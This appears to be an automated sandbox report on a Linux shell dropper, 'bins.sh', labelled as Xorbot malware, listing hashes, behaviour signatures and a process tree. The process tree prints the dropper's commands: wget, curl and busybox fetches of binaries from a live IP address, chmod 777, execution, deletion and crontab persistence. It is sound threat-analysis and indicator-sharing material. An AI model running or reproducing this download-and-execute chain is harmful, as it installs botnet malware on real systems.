Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
04-12-2024 00:49
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
f05da6a5f1c558bd14134bace343c53b
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SHA1
802bad5f79db08727638201f735df65f813a3d71
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SHA256
ab9cf57b69b0f3988a832c77e08ee2799b5e1623bf927cc77f48879aae9fc01e
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SHA512
131f0a3d6c279ba5c6bfc52032768bd4e67ac9c6852f05de87e97b8028c2c02467e4d78b9afbbc2c859779007ec3d3f2b14df504c6f378785a27666b65126817
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SSDEEP
192:IF6LkGoyxtdO2TFTFhjxDYQ4E8N9tquGiRN9tquEhjxDYQ7FvFTvTxtdO2V:I8LkGoyxtdO2TFTFhjxDYQ4E8N9tquGv
Malware Config
Signatures
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Processes:
resource yara_rule behavioral3/files/fstream-3.dat family_xorbot behavioral3/files/fstream-11.dat family_xorbot behavioral3/files/fstream-12.dat family_xorbot -
Xorbot family
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Contacts a large (1739) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodpid Process 737 chmod 746 chmod 863 chmod 876 chmod 890 chmod 730 chmod -
Executes dropped EXE 6 IoCs
Processes:
wda1xE9KvGzOQxgwPMl8w9FT1QoziL09BgYPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95qCkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSqDlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7Uioc pid Process /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg 731 wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2 738 YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2 /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q 747 PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q /tmp/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2 864 CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2 /tmp/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq 877 YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq /tmp/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U 891 DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U -
Renames itself 1 IoCs
Processes:
PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95qpid Process 749 PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.BsrFW4 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95qcurldescription ioc Process File opened for reading /proc/77/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/781/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/786/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/801/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/808/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/848/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/922/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/6/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/937/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/995/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/1010/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/930/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/845/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/971/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/1016/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/838/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/975/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/994/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/706/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/981/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/846/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/895/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/910/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/992/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/73/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/37/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/855/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/858/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/978/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/990/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/4/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/18/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/814/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/819/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/886/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/893/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/899/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/968/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/1/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/389/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/695/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/769/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/803/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/887/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/891/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/917/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/7/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/977/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/23/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/780/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/789/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/793/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/20/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/22/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/79/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/953/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/993/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/325/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/902/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/947/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/165/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/894/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q File opened for reading /proc/1020/cmdline PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxbusyboxbusyboxbusyboxwgetbusyboxwgetwgetcurlcurlbusyboxdescription ioc Process File opened for modification /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q curl File opened for modification /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q busybox File opened for modification /tmp/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2 busybox File opened for modification /tmp/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq busybox File opened for modification /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg busybox File opened for modification /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2 wget File opened for modification /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2 busybox File opened for modification /tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q wget File opened for modification /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg wget File opened for modification /tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg curl File opened for modification /tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2 curl File opened for modification /tmp/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:698
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/bin/rm/bin/rm bins.sh2⤵PID:703
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/usr/bin/wgetwget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg2⤵
- Writes file to tmp directory
PID:707
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/usr/bin/curlcurl -O http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:721
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg2⤵
- Writes file to tmp directory
PID:728
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/bin/chmodchmod 777 wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg2⤵
- File and Directory Permissions Modification
PID:730
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/tmp/wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg./wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg2⤵
- Executes dropped EXE
PID:731
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/bin/rmrm wda1xE9KvGzOQxgwPMl8w9FT1QoziL09Bg2⤵PID:733
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/usr/bin/wgetwget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI22⤵
- Writes file to tmp directory
PID:734
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/usr/bin/curlcurl -O http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI22⤵
- Writes file to tmp directory
PID:735
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI22⤵
- Writes file to tmp directory
PID:736
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/bin/chmodchmod 777 YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI22⤵
- File and Directory Permissions Modification
PID:737
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/tmp/YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI2./YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI22⤵
- Executes dropped EXE
PID:738
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/bin/rmrm YPMF2xnqtCLbBq0l23mZi67JvbHuZBDjI22⤵PID:740
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/usr/bin/wgetwget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q2⤵
- Writes file to tmp directory
PID:741
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/usr/bin/curlcurl -O http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q2⤵
- Writes file to tmp directory
PID:742
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q2⤵
- Writes file to tmp directory
PID:743
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/bin/chmodchmod 777 PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q2⤵
- File and Directory Permissions Modification
PID:746
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/tmp/PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q./PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:747 -
/bin/shsh -c "crontab -l"3⤵PID:750
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/usr/bin/crontabcrontab -l4⤵PID:751
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/bin/shsh -c "crontab -"3⤵PID:753
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:754
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/bin/rmrm PVT2wAB3fI9aJt2hzM4sZVhxhft4LkC95q2⤵PID:757
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/usr/bin/wgetwget http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj22⤵PID:804
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/usr/bin/curlcurl -O http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj22⤵PID:850
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj22⤵
- Writes file to tmp directory
PID:856
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/bin/chmodchmod 777 CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj22⤵
- File and Directory Permissions Modification
PID:863
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/tmp/CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj2./CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj22⤵
- Executes dropped EXE
PID:864
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/bin/rmrm CkQXPFvvPpDILNHrpFVGPK94egg2DaNMj22⤵PID:866
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/usr/bin/wgetwget http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq2⤵PID:868
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/usr/bin/curlcurl -O http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq2⤵PID:869
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq2⤵
- Writes file to tmp directory
PID:871
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/bin/chmodchmod 777 YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq2⤵
- File and Directory Permissions Modification
PID:876
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/tmp/YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq./YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq2⤵
- Executes dropped EXE
PID:877
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/bin/rmrm YcNjLxraEv1eyW1yDYg1LMwIrjAS7TCzSq2⤵PID:880
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/usr/bin/wgetwget http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U2⤵PID:881
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/usr/bin/curlcurl -O http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U2⤵PID:883
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U2⤵
- Writes file to tmp directory
PID:885
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/bin/chmodchmod 777 DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U2⤵
- File and Directory Permissions Modification
PID:890
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/tmp/DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U./DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U2⤵
- Executes dropped EXE
PID:891
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/bin/rmrm DlSiguEsDWKEMJTdsB0e8TVtuxpnlKaR7U2⤵PID:906
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/usr/bin/wgetwget http://216.126.231.240/bins/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK402⤵PID:909
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/usr/bin/curlcurl -O http://216.126.231.240/bins/Nom1uBjrBJ6Gnpy97OaBGqvqlvVxCeZK402⤵PID:911
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
210B
MD5316e52a8256d2f6a237fcca702c6243d
SHA17631f79d41480970ee1c3a0dec72b6c93019ff2a
SHA256852e876b3d9aeb929fcc567118e16143b4febe6215900897456ff14504e5a22d
SHA5124e4baf5d7e3b9e490a0ae4d485cbadf1b6609e2b1119d5d72b04ba197a39bf074f16a2909705fb2042088926d2fe7dbae59796939447e95fd9ed41f9eceba95a